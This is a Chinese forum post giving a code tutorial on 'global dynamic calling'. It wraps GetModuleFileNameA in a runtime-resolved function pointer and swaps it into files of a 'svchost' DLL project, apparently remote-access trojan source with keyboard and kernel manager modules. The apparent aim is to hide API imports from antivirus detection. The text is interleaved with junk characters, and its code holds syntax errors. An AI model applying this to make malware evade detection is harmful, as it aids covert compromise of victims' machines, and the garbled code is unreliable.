返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记' n, y( r3 g  L* ?5 ^
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
# x- S3 W7 q$ k0 I) [----------------------------------------
8 u( o' t. v+ y( PDTDY.h:
6 d1 E: l5 F8 j8 @! a/ G- l' x- t+ v) i. _& c, `4 y
#if _MSC_VER>1000
, p& }4 C9 Q5 |, _6 |2 y  G  C#pragma once. n2 r0 I  ?4 S( }5 g8 h
#endif //_MSC_VER>1000
! C, Q, l6 j& W9 T' j, B5 x#include<windows.h>
" S% W% w- A( Z) W
2 ]$ W5 @" w1 h' X3 ltypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);3 p' w4 @; s5 ?3 v5 ?, x) D1 R
class DTDY8 e- P  d& L, H, f
{
6 y- J! q4 w5 Hpublic:
( y4 z, \3 O1 _DTDY();
3 k. e  B) @& r/ K# T9 l9 U# Kvirtual ~DTDY();
4 ~# X5 g2 Q+ |2 _; n( epublic:
7 T% r6 P% K& y( Y/ `/ v% Gstatic pGetModuleFileNameA MyGetModuleFileName;
; |, t# c4 l7 a6 A/ w2 }5 Ystatic BOOL FunInitiallization();# d3 h7 _5 Y3 n4 @1 ^
};; i! b1 `- v, S7 t6 G
#endif
2 r6 r  v! \1 a$ G% V8 v) P3 ]----------------------------------------
# `% c: S# F' R
3 |8 d( Q6 o8 k; ^! r" bDTDY.cpp:
4 |% |  N* y- z7 Y3 l1 S. N& N$ u! I$ W
#include "DTDY.h"- S4 h, Z: g0 P# L
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;" \$ T& O5 d* v" O% Y+ o
DTDY:TDY()
2 l& o* c9 w: ^7 p1 w( J{/ |6 v) C8 W! g
}
, S5 ^8 m, D# q* ODTDY::~DTDY()
: V5 b- j- v, \- ]7 Z' f7 R{2 H# U* r' i# h- H8 M
}- |5 R' o0 w  |- y
BOOL DTDY::FunInitiallization()
$ x1 S# h+ ?+ T/ K3 S: w) M; R{$ o- M$ o; N+ c# n: {8 z0 \( |
HMODULE hModule=LoadLibrary("kernel32.dll");
4 x) r: ~  A; d1 ~2 ^# O$ i7 XMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
  b* i9 c% |  a5 U; Eif(!MyGetModuleFileName=) return FALSE;) u) |# `+ }2 a6 O+ ]: W# Y

) i/ s& _& c8 Y( jreturn TRUE;
1 x. u5 n& C3 P}2 C- o7 P, }1 ~% O* M5 f* s
----------------------------------------
# K1 p: k* S( Osvchost.cpp:
" t, O4 Y. m& L! @8 |9 {2 p9 x
5 Q, M, e3 ]" g. m. }#include "DTDY.h"
1 c, m6 c! X9 N% x2 E: q2 J* \
& s$ `( G" b+ N8 _# I3 l4 |3 o$ S( uBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
. R" c6 C1 F' r7 n7 ?. z0 f{
; i$ Y* O( O& zswitch(ul_reason_for_call)
3 N6 L: g$ p! h; v' A1 v3 Y* r{: n: y; U# g" i# n# \$ Y! b0 N
case DLL_PROCESS_ATTACH:1 \! [# S6 j& }9 d1 h  ~7 j
if(!DTDY::FunInitiallization()) return FALSE;
7 L' v6 s$ m# _9 L$ o/ }0 f5 {- I, f4 @
break;) o" I4 d% S2 u/ J
}
: B+ n( ^6 D  a5 g6 c}8 q4 U0 {" f  W

3 F' ~9 }( Q) C/ B
# g, ~; H2 r: F: d3 ZGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def! m: z! M0 O# r9 y/ J9 O
改写为
+ P) }. t6 E" ?4 y/ _  M+ `: S% P& _5 `DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
2 Y: i  D1 }9 j6 ?* O----------------------------------------, o. A5 a. R. n# h6 F
KernelManager.cpp:
7 A( k3 r2 `1 J
. D8 p5 {) o$ w# B#include "../DTDY.h"
) T2 ^9 f* }' T$ H& _7 I2 NGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));9 j7 t' ?% l4 l6 w8 d6 \& V
改写为/ w, ]0 t/ W# |7 B' j! y
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));& M. N" k8 o' n1 A, G/ v1 i
----------------------------------------

返回列表